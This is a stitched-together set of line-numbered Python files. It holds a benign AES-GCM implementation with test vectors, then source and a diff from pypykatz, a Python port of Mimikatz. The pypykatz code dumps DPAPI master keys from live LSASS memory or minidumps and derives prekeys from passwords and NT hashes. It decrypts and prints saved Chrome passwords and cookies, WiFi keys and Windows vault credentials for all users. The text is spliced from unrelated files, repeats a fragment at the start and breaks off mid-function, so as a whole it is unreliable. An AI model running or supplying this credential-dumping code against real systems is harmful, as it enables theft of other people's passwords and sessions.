189 plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
190 b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
191 b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
192 b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
193 b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
194 b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
195 b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
196 b'\xba\x63\x7b\x39'
197 auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
198 b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
199 b'\xab\xad\xda\xd2'
200 init_value = bytes.fromhex('cafebabefacedbaddecaf888')
201 ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
202 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
203 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
204 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
205 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
206 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
207 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
208 b'\x3d\x58\xe0\x91'
209 auth_tag = bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
210
211 print('plaintext:', plaintext.hex())
212
213 my_gcm = AES_GCM(master_key)
214 encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
215 print('encrypted:', encrypted.hex())
216 print('auth tag: ', new_tag.hex())
217
218 assert encrypted == bytes.fromhex('42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091')
219 assert new_tag == bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
220
221 decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
222 print('decrypted:', decrypted.hex())
223
224
225 #new_tag = int.from_bytes(new_tag, byteorder='big', signed=False)
226 #try:
227 # decrypted = my_gcm.decrypt(init_value, encrypted, new_tag + 1, auth_data)
228 #except InvalidTagException:
229
230
0 #!/usr/bin/env python
1
2 """
3 Copyright (C) 2013 Bo Zhu http://about.bozhu.me
4
5 Permission is hereby granted, free of charge, to any person obtaining a
6 copy of this software and associated documentation files (the "Software"),
7 to deal in the Software without restriction, including without limitation
8 the rights to use, copy, modify, merge, publish, distribute, sublicense,
9 and/or sell copies of the Software, and to permit persons to whom the
10 Software is furnished to do so, subject to the following conditions:
11
12 The above copyright notice and this permission notice shall be included in
13 all copies or substantial portions of the Software.
14
15 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
18 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
21 DEALINGS IN THE SOFTWARE.
22 """
23
24 from Crypto.Cipher import AES
25 from Crypto.Util import Counter
26 from Crypto.Util.number import long_to_bytes, bytes_to_long
27
28
29 # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
30 # Please note the MSB is x0 and LSB is x127
31 def gf_2_128_mul(x, y):
32 assert x < (1 << 128)
33 assert y < (1 << 128)
34 res = 0
35 for i in range(127, -1, -1):
36 res ^= x * ((y >> i) & 1) # branchless
37 x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
38 assert res < 1 << 128
39 return res
40
41
42 class InvalidInputException(Exception):
43 def __init__(self, msg):
44 self.msg = msg
45
46 def __str__(self):
47 return str(self.msg)
48
49
50 class InvalidTagException(Exception):
51 def __str__(self):
52 return 'The authenticaiton tag is invalid.'
53
54
55 # Galois/Counter Mode with AES-128 and 96-bit IV
56 class AES_GCM:
57 def __init__(self, master_key):
58 self.change_key(master_key)
59
60 def change_key(self, master_key):
61 if master_key >= (1 << 128):
62 raise InvalidInputException('Master key should be 128-bit')
63
64 self.__master_key = long_to_bytes(master_key, 16)
65 self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB)
66 self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16))
67
68 # precompute the table for multiplication in finite field
69 table = [] # for 8-bit
70 for i in range(16):
71 row = []
72 for j in range(256):
73 row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
74 table.append(tuple(row))
75 self.__pre_table = tuple(table)
76
77 self.prev_init_value = None # reset
78
79 def __times_auth_key(self, val):
80 res = 0
81 for i in range(16):
82 res ^= self.__pre_table[i][val & 0xFF]
83 val >>= 8
84 return res
85
86 def __ghash(self, aad, txt):
87 len_aad = len(aad)
88 len_txt = len(txt)
89
90 # padding
91 if 0 == len_aad % 16:
92 data = aad
93 else:
94 data = aad + b'\x00' * (16 - len_aad % 16)
95 if 0 == len_txt % 16:
96 data += txt
97 else:
98 data += txt + b'\x00' * (16 - len_txt % 16)
99
100 tag = 0
101 assert len(data) % 16 == 0
102 for i in range(len(data) // 16):
103 tag ^= bytes_to_long(data[i * 16: (i + 1) * 16])
104 tag = self.__times_auth_key(tag)
105 # print 'X\t', hex(tag)
106 tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
107 tag = self.__times_auth_key(tag)
108
109 return tag
110
111 def encrypt(self, init_value, plaintext, auth_data=b''):
112 if init_value >= (1 << 96):
113 raise InvalidInputException('IV should be 96-bit')
114 # a naive checking for IV reuse
115 if init_value == self.prev_init_value:
116 raise InvalidInputException('IV must not be reused!')
117 self.prev_init_value = init_value
118
119 len_plaintext = len(plaintext)
120 # len_auth_data = len(auth_data)
121
122 if len_plaintext > 0:
123 counter = Counter.new(
124 nbits=32,
125 prefix=long_to_bytes(init_value, 12),
126 initial_value=2, # notice this
127 allow_wraparound=False)
128 aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
129
130 if 0 != len_plaintext % 16:
131 padded_plaintext = plaintext + \
132 b'\x00' * (16 - len_plaintext % 16)
133 else:
134 padded_plaintext = plaintext
135 ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
136
137 else:
138 ciphertext = b''
139
140 auth_tag = self.__ghash(auth_data, ciphertext)
141 print('auth_tag original: %s' % auth_tag.to_bytes(16, byteorder='big', signed=False).hex())
142 # print 'GHASH\t', hex(auth_tag)
143 auth_tag ^= bytes_to_long(self.__aes_ecb.encrypt(
144 long_to_bytes((init_value << 32) | 1, 16)))
145
146 # assert len(ciphertext) == len(plaintext)
147 assert auth_tag < (1 << 128)
148 return ciphertext, auth_tag
149
150 def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
151 if init_value >= (1 << 96):
152 raise InvalidInputException('IV should be 96-bit')
153 if auth_tag >= (1 << 128):
154 raise InvalidInputException('Tag should be 128-bit')
155
156 print(long_to_bytes((init_value << 32) | 1, 16))
157 print(self.__aes_ecb.encrypt(long_to_bytes((init_value << 32) | 1, 16)))
158 print('ghash %s' % self.__ghash(auth_data, ciphertext))
159 print('')
160 if auth_tag != self.__ghash(auth_data, ciphertext) ^ \
161 bytes_to_long(self.__aes_ecb.encrypt(
162 long_to_bytes((init_value << 32) | 1, 16))):
163 raise InvalidTagException
164
165 len_ciphertext = len(ciphertext)
166 if len_ciphertext > 0:
167 counter = Counter.new(
168 nbits=32,
169 prefix=long_to_bytes(init_value, 12),
170 initial_value=2,
171 allow_wraparound=True)
172 aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
173
174 if 0 != len_ciphertext % 16:
175 padded_ciphertext = ciphertext + \
176 b'\x00' * (16 - len_ciphertext % 16)
177 else:
178 padded_ciphertext = ciphertext
179 plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
180
181 else:
182 plaintext = b''
183
184 return plaintext
185
186
187 if __name__ == '__main__':
188 master_key = 0xfeffe9928665731c6d6a8f9467308308
189 plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
190 b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
191 b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
192 b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
193 b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
194 b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
195 b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
196 b'\xba\x63\x7b\x39'
197 auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
198 b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
199 b'\xab\xad\xda\xd2'
200 init_value = 0xcafebabefacedbaddecaf888
201 ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
202 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
203 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
204 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
205 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
206 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
207 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
208 b'\x3d\x58\xe0\x91'
209 auth_tag = 0x5bc94fbc3221a5db94fae95ae7121a47
210
211 print('plaintext:', hex(bytes_to_long(plaintext)))
212
213 my_gcm = AES_GCM(master_key)
214 encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
215 print('encrypted:', hex(bytes_to_long(encrypted)))
216 print('auth tag: ', hex(new_tag))
217
218 try:
219 decrypted = my_gcm.decrypt(init_value, encrypted,
220 new_tag + 1, auth_data)
221 except InvalidTagException:
222 decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
223 print('decrypted:', hex(bytes_to_long(decrypted)))
224
0 from pypykatz.commons.common import UniversalEncoder, hexdump
1 import argparse
2 import platform
3
4
5 class DPAPICMDHelper:
6 def __init__(self):
7 self.live_keywords = ['dpapi']
8 self.keywords = ['dpapi']
9
10 def add_args(self, parser, live_parser):
11
12 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
13 live_dpapi_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome')
14 live_dpapi_subparsers.required = True
15 live_dpapi_subparsers.dest = 'livedpapicommand'
16
17 live_keys_parser = live_dpapi_subparsers.add_parser('keys', help = '[ADMIN ONLY] Dump all local DPAPI related keys. Aggressively. Recommended: use file output. !This takes a while!')
18 live_keys_parser.add_argument('--method', choices = ['lsass', 'registry', 'all'], default = 'all', help= 'Where to look for the keys')
19 live_keys_parser.add_argument('-o', '--outfile', help= 'Output file base name')
20
21 live_vpol_parser = live_dpapi_subparsers.add_parser('vpol', help = 'Decrypting VPOL file with current user context')
22 live_vpol_parser.add_argument('vpolfile', help= 'VPOL file to decrypt')
23
24 live_vcred_parser = live_dpapi_subparsers.add_parser('vcred', help = 'Decrypt VCRED')
25 live_vcred_parser.add_argument('vpolfile', help= 'VPOL file to use to decrypt the VCRED file')
26 live_vcred_parser.add_argument('vcredfile', help= 'VCRED file to decrypt')
27
28 live_cred_parser = live_dpapi_subparsers.add_parser('cred', help = 'Decrypt CRED file')
29 live_cred_parser.add_argument('credfile', help= 'CRED file to decrypt')
30
31
32 live_blob_parser = live_dpapi_subparsers.add_parser('blob', help = 'Decrypt raw dpapi blob hex')
33 live_blob_parser.add_argument('blob', help= 'blob string in hex format')
34
35 live_securestring_parser = live_dpapi_subparsers.add_parser('securestring', help = 'Decrypt securestring hex')
36 live_securestring_parser.add_argument('securestring', help= 'securestring in hex format')
37
38 live_blobfile_parser = live_dpapi_subparsers.add_parser('blobfile', help = '')
39 live_blobfile_parser.add_argument('blobfile', help= 'Decrypt raw dpapi blob in file')
40
41 live_securestringfile_parser = live_dpapi_subparsers.add_parser('securestringfile', help = '')
42 live_securestringfile_parser.add_argument('securestringfile', help= 'Decrypt securestring from file')
43
44 live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords')
45 live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.')
46
47
48 live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser])
49
50
51 #offline
52 prekey_subcommand_parser = argparse.ArgumentParser(add_help=False)
53 dpapi_prekey_subparsers = prekey_subcommand_parser.add_subparsers(help = 'prekey_command')
54 dpapi_prekey_subparsers.required = True
55 dpapi_prekey_subparsers.dest = 'prekey_command'
56
57 prekey_passwd = dpapi_prekey_subparsers.add_parser('password', help = 'Generate prekeys from password')
58 prekey_passwd.add_argument('sid', help='SID of the user')
59 prekey_passwd.add_argument('password', help='Password of the user')
60 prekey_passwd.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
61
62 prekey_nt = dpapi_prekey_subparsers.add_parser('nt', help = 'Generate prekeys from NT hash')
63 prekey_nt.add_argument('sid', help='SID of the user')
64 prekey_nt.add_argument('nthash', help='NT hash of the user')
65 prekey_nt.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
66
67 prekey_registry = dpapi_prekey_subparsers.add_parser('registry', help = 'Generate prekeys from registry secrets')
68 prekey_registry.add_argument('system', help='SYSTEM hive')
69 prekey_registry.add_argument('sam', help='SAM hive')
70 prekey_registry.add_argument('security', help='SECURITY hive')
71 prekey_registry.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
72
73
74 dpapi_group = parser.add_parser('dpapi', help='DPAPI (offline) related commands')
75 dpapi_subparsers = dpapi_group.add_subparsers()
76 dpapi_subparsers.required = True
77 dpapi_subparsers.dest = 'dapi_module'
78
79 dpapi_subparsers.add_parser('prekey', help = 'Prekey generation', parents=[prekey_subcommand_parser])
80
81 dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys and prekeys from minidump file')
82 dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
83 dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
84
85
86 dpapi_masterkey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
87 dpapi_masterkey_group.add_argument('masterkeyfile', help='path to masterkey file')
88 dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates')
89 dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
90
91
92 dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file')
93 dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
94 dpapi_credential_group.add_argument('cred', help='path to credential file')
95
96 dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file')
97 dpapi_vcred_group.add_argument('vcred', help='path to vcred file')
98 dpapi_vcred_group.add_argument('--vpolkey', nargs='+', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys')
99
100 dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file')
101 dpapi_vpol_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
102 dpapi_vpol_group.add_argument('vpol', help='path to vpol file')
103
104
105 dpapi_securestring_group = dpapi_subparsers.add_parser('securestring', help='Decrypt securestring')
106 dpapi_securestring_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
107 dpapi_securestring_group.add_argument('securestring', help='path to securestring file (hex data expected!), or the securestring in hex form')
108
109 dpapi_blob_group = dpapi_subparsers.add_parser('blob', help='Decrypt blob')
110 dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
111 dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form')
112
113 def execute(self, args):
114 if len(self.keywords) > 0 and args.command in self.keywords:
115 self.run(args)
116
117 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
118 self.run_live(args)
119
120 def run(self, args):
121 from pypykatz.dpapi.dpapi import DPAPI
122
123 dpapi = DPAPI()
124
125 if args.dapi_module == 'prekey':
126 if args.prekey_command == 'registry':
127 if args.system is None:
128 raise Exception('SYSTEM hive must be specified for registry parsing!')
129 if args.sam is None and args.security is None:
130 raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.')
131
132 dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam)
133
134 elif args.prekey_command == 'password':
135 if args.sid is None:
136 raise Exception('SID must be specified for generating prekey in this mode')
137
138 pw = args.password
139 if args.password is None:
140 import getpass
141 pw = getpass.getpass()
142
143 dpapi.get_prekeys_from_password(args.sid, password = pw)
144
145 elif args.prekey_command == 'nt':
146 if args.nt is None or args.sid is None:
147 raise Exception('NT hash and SID must be specified for generating prekey in this mode')
148
149 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
150
151
152 dpapi.dump_pre_keys(args.out_file)
153
154
155 elif args.dapi_module == 'minidump':
156 if args.minidumpfile is None:
157 raise Exception('minidump file must be specified for mindiump parsing!')
158
159 dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
160 dpapi.dump_masterkeys(args.out_file)
161 dpapi.dump_pre_keys(args.out_file + '_prekeys')
162
163
164 elif args.dapi_module == 'masterkey':
165 if args.key is None and args.prekey is None:
166 raise Exception('Etieher KEY or path to prekey file must be supplied!')
167
168 if args.prekey:
169 dpapi.load_prekeys(args.prekey)
170 dpapi.decrypt_masterkey_file(args.mkf)
171
172 if args.key:
173 dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
174
175 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
176 print('Failed to decrypt the masterkeyfile!')
177 return
178
179 dpapi.dump_masterkeys(args.out_file)
180
181 elif args.dapi_module == 'credential':
182 dpapi.load_masterkeys(args.mkf)
183 cred_blob = dpapi.decrypt_credential_file(args.cred)
184
185 print(cred_blob.to_text())
186
187 elif args.dapi_module == 'vpol':
188 dpapi.load_masterkeys(args.mkf)
189 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
190
191 print('VPOL key1: %s' % key1.hex())
192 print('VPOL key2: %s' % key2.hex())
193
194
195 elif args.dapi_module == 'vcred':
196 if args.vpolkey is None or len(args.vpolkey) == 0:
197 raise Exception('VPOL key bust be specified!')
198
199 dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey]
200 res = dpapi.decrypt_vcrd_file(args.vcred)
201 for attr in res:
202 for i in range(len(res[attr])):
203 if res[attr][i] is not None:
204 print('AttributeID: %s Key %s' % (attr.id, i))
205 print(hexdump(res[attr][i]))
206
207 elif args.dapi_module == 'securestring':
208 dpapi.load_masterkeys(args.mkf)
209
210 try:
211 bytes.fromhex(args.securestring)
212 except Exception as e:
213 print('Error! %s' %e)
214 dec_sec = dpapi.decrypt_securestring_file(args.securestring)
215 else:
216 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
217
218 print('HEX: %s' % dec_sec.hex())
219 print('STR: %s' % dec_sec.decode('utf-16-le'))
220
221 elif args.dapi_module == 'blob':
222 dpapi.load_masterkeys(args.mkf)
223
224 try:
225 bytes.fromhex(args.securestring)
226 except Exception as e:
227 print('Error! %s' %e)
228 dec_sec = dpapi.decrypt_securestring_file(args.securestring)
229 else:
230 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
231
232 print('HEX: %s' % dec_sec.hex())
233 print('STR: %s' % dec_sec.decode('utf-16-le'))
234
235
236
237 def run_live(self, args):
238 if platform.system().lower() != 'windows':
239 raise Exception('Live commands only work on Windows!')
240
241 from pypykatz.dpapi.dpapi import DPAPI
242 dpapi = DPAPI(use_winapi=True)
243
244 if args.livedpapicommand == 'keys':
245 from pypykatz.dpapi.dpapi import prepare_dpapi_live
246
247 dpapi = prepare_dpapi_live(args.method)
248
249 if args.outfile is not None:
250 dpapi.dump_pre_keys(args.outfile + '_prekeys')
251 dpapi.dump_masterkeys(args.outfile + '_masterkeys')
252 else:
253 dpapi.dump_pre_keys()
254 dpapi.dump_masterkeys()
255
256 return
257
258 elif args.livedpapicommand == 'cred':
259 cred_blob = dpapi.decrypt_credential_file(args.credfile)
260 print(cred_blob.to_text())
261
262 elif args.livedpapicommand == 'vpol':
263 key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile)
264 print('VPOL key1: %s' % key1.hex())
265 print('VPOL key2: %s' % key2.hex())
266
267 elif args.livedpapicommand == 'vcred':
268 key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile)
269 res = dpapi.decrypt_vcrd_file(args.vcredfile)
270 for attr in res:
271 for i in range(len(res[attr])):
272 if res[attr][i] is not None:
273 print('AttributeID: %s Key %s' % (attr.id, i))
274 print(hexdump(res[attr][i]))
275
276
277 elif args.livedpapicommand == 'securestring':
278 dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
279 print('HEX: %s' % dec_sec.hex())
280 print('STR: %s' % dec_sec.decode('utf-16-le'))
281
282 elif args.livedpapicommand == 'securestringfile':
283 data = args.data[0]
284 dec_sec = dpapi.decrypt_securestring_file(data)
285 print('HEX: %s' % dec_sec.hex())
286 print('STR: %s' % dec_sec.decode('utf-16-le'))
287
288 elif args.livedpapicommand == 'blob':
289 dec_sec = dpapi.decrypt_securestring_hex(args.blob)
290 print('HEX: %s' % dec_sec.hex())
291
292 elif args.livedpapicommand == 'blobfile':
293 dec_sec = dpapi.decrypt_securestring_file(args.blobfile)
294 print('HEX: %s' % dec_sec.hex())
295
296 elif args.livedpapicommand == 'chrome':
297 res = dpapi.decrypt_all_chrome_live()
298 for file_path, url, user, password in res['logins']:
299 print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url))
300 for file_path, host_key, name, path, value in res['cookies']:
301 print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value))
302
303 elif args.livedpapicommand == 'wifi':
304 for wificonfig in dpapi.decrypt_wifi_live():
305 print('%s : %s' % (wificonfig['name'], wificonfig['key']))
44 #
55
66 import os
7 import ntpath
78 import json
89 import hmac
910 import hashlib
11 import glob
12 import sqlite3
13 import base64
14 import platform
1015 from hashlib import sha1, pbkdf2_hmac
16 import xml.etree.ElementTree as ET
1117
1218 from pypykatz import logger
1319 from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile
1622 from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS
1723
1824 from pypykatz.crypto.unified.aes import AES
25 from pypykatz.crypto.unified.aesgcm import AES_GCM
1926 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
2027 from pypykatz.commons.common import UniversalEncoder
28
29 if platform.system().lower() == 'windows':
30 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
2131
2232 """
2333 So! DPAPI...
7989 """
8090
8191 class DPAPI:
82 def __init__(self):
83 #pre-keys
84 self.user_keys = []
85 self.machine_keys = []
92 def __init__(self, use_winapi = False):
93 self.use_winapi = use_winapi
94 self.prekeys = {} #keys in bytes format stored in a dict for avoiding dupes
8695
8796 #masterkey, backupkey
8897 self.masterkeys = {} #guid -> binary value
91100 #since so far I dunno how to match vault-keys to vaults, its a list :(
92101 self.vault_keys = []
93102
94 @staticmethod
95 def list_masterkeys():
96 #logger.debug('Searching for MasterKey files...')
97 #appdata = os.environ.get('APPDATA')
98 #'%APPDATA%\Microsoft\Protect\%SID%'
99 #'%SYSTEMDIR%\Microsoft\Protect'
100 # TODO: implement this
101 pass
102103
103104 def dump_pre_keys(self, filename = None):
104105 if filename is None:
105 for x in self.user_keys:
106 print(x.hex())
107 for x in self.machine_keys:
106 for x in self.prekeys:
108107 print(x.hex())
109108 else:
110109 with open(filename, 'w', newline = '') as f:
111 for x in self.user_keys:
110 for x in self.prekeys:
112111 f.write(x.hex() + '\r\n')
113 for x in self.machine_keys:
114 f.write(x.hex() + '\r\n')
115
116 def load_pre_keys(self, filename):
112
113 def load_prekeys(self, filename):
117114 with open(filename, 'r') as f:
118115 for line in f:
119116 line = line.strip()
120 self.user_keys.append(bytes.fromhex(line))
117 self.prekeys[bytes.fromhex(line)] = 1
121118
122119 def dump_masterkeys(self, filename = None):
123120 if filename is None:
140137 for guid in data['masterkeys']:
141138 self.masterkeys[guid] = bytes.fromhex(data['masterkeys'][guid])
142139
143 print(self.masterkeys)
144140
145141 def get_prekeys_from_password(self, sid, password = None, nt_hash = None):
146142 """
160156 nt_hash = bytes.fromhex(nt_hash)
161157 key1 = None
162158
163 if password:
159 if password or password == '':
164160 md4 = hashlib.new('md4')
165161 md4.update(password.encode('utf-16le'))
166162 nt_hash = md4.digest()
174170 key3 = hmac.new(tmp_key_2, (sid + '\0').encode('utf-16le'), sha1).digest()[:20]
175171
176172 if key1 is not None:
177 self.user_keys.append(key1)
178 self.user_keys.append(key2)
179 self.user_keys.append(key3)
180
181 #print(key1.hex(), key2.hex(), key3.hex())
173 self.prekeys[key1] = 1
174 self.prekeys[key2] = 1
175 self.prekeys[key3] = 1
176
177 if key1 is not None:
178 logger.debug('Prekey_1 %s %s %s %s' % (sid, password, nt_hash, key1.hex()))
179 logger.debug('Prekey_2 %s %s %s %s' % (sid, password, nt_hash, key2.hex()))
180 logger.debug('Prekey_3 %s %s %s %s' % (sid, password, nt_hash, key3.hex()))
181
182182 return key1, key2, key3
183183
184184 def __get_registry_secrets(self, lr):
197197 if isinstance(secret, LSASecretDPAPI):
198198 logger.debug('[DPAPI] Found DPAPI user key in registry! Key: %s' % secret.user_key)
199199 logger.debug('[DPAPI] Found DPAPI machine key in registry! Key: %s' % secret.machine_key)
200 self.user_keys.append(secret.user_key)
200 self.prekeys[secret.user_key] = 1
201201 user.append(secret.user_key)
202 self.machine_keys.append(secret.machine_key)
202 self.prekeys[secret.machine_key] = 1
203203 machine.append(secret.machine_key)
204204
205205 if lr.sam is not None:
255255 else:
256256 raise Exception('[DPAPI] Registry parsing failed!')
257257
258 def get_all_keys_from_lsass_live(self):
259 """
260 Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials
261 It does not retun anything, just sets up all key material in the object
262 return: None
263 """
264 from pypykatz.pypykatz import pypykatz
265 katz = pypykatz.go_live()
266 sids = [katz.logon_sessions[x].sid for x in katz.logon_sessions]
267 for x in katz.logon_sessions:
268 for dc in katz.logon_sessions[x].dpapi_creds:
269 logger.debug('[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid)
270 self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)
271
272 for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows():
273 if package.lower() == 'dpapi':
274 continue
275
276 sids = [katz.logon_sessions[x].sid]
277 for sid in sids:
278 if plaintext is not None:
279 self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None)
280 if nthex is not None and len(nthex) == 32:
281 self.get_prekeys_from_password(sid, password = None, nt_hash = nthex)
282
283 if shahex is not None and len(shahex) == 40:
284 self.prekeys[bytes.fromhex(shahex)] = 1
285
258286 def get_masterkeys_from_lsass_live(self):
259287 """
260288 Parses the live LSASS process and extracts the plaintext masterkeys
283311 for dc in katz.logon_sessions[x].dpapi_creds:
284312 logger.debug('[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid)
285313 self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey)
314
315 for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows():
316 if package.lower() == 'dpapi':
317 continue
318
319 sids = [katz.logon_sessions[x].sid]
320 for sid in sids:
321 if plaintext is not None:
322 self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None)
323 if nthex is not None and len(nthex) == 32:
324 self.get_prekeys_from_password(sid, password = None, nt_hash = nthex)
325
326 if shahex is not None and len(shahex) == 40:
327 self.prekeys[bytes.fromhex(shahex)] = 1
286328
287329 return self.masterkeys
288330
308350 mks = {}
309351 bks = {}
310352 if mkf.masterkey is not None:
311 for user_key in self.user_keys:
312 dec_key = mkf.masterkey.decrypt(user_key)
313 if dec_key:
314 self.masterkeys[mkf.guid] = dec_key
315 mks[mkf.guid] = dec_key
316
317 for machine_key in self.machine_keys:
318 dec_key = mkf.masterkey.decrypt(machine_key)
319 if dec_key:
320 self.masterkeys[mkf.guid] = dec_key
321 mks[mkf.guid] = dec_key
322
323 if key is not None:
324 dec_key = mkf.masterkey.decrypt(key)
325 if dec_key:
326 self.masterkeys[mkf.guid] = dec_key
327 mks[mkf.guid] = dec_key
353 if mkf.guid in self.masterkeys:
354 mks[mkf.guid] = self.masterkeys[mkf.guid]
355
356 else:
357 for user_key in self.prekeys:
358 dec_key = mkf.masterkey.decrypt(user_key)
359 if dec_key:
360 logger.debug('user key win: %s' % user_key.hex())
361 self.masterkeys[mkf.guid] = dec_key
362 mks[mkf.guid] = dec_key
363 break
364
365 if key is not None:
366 dec_key = mkf.masterkey.decrypt(key)
367 if dec_key:
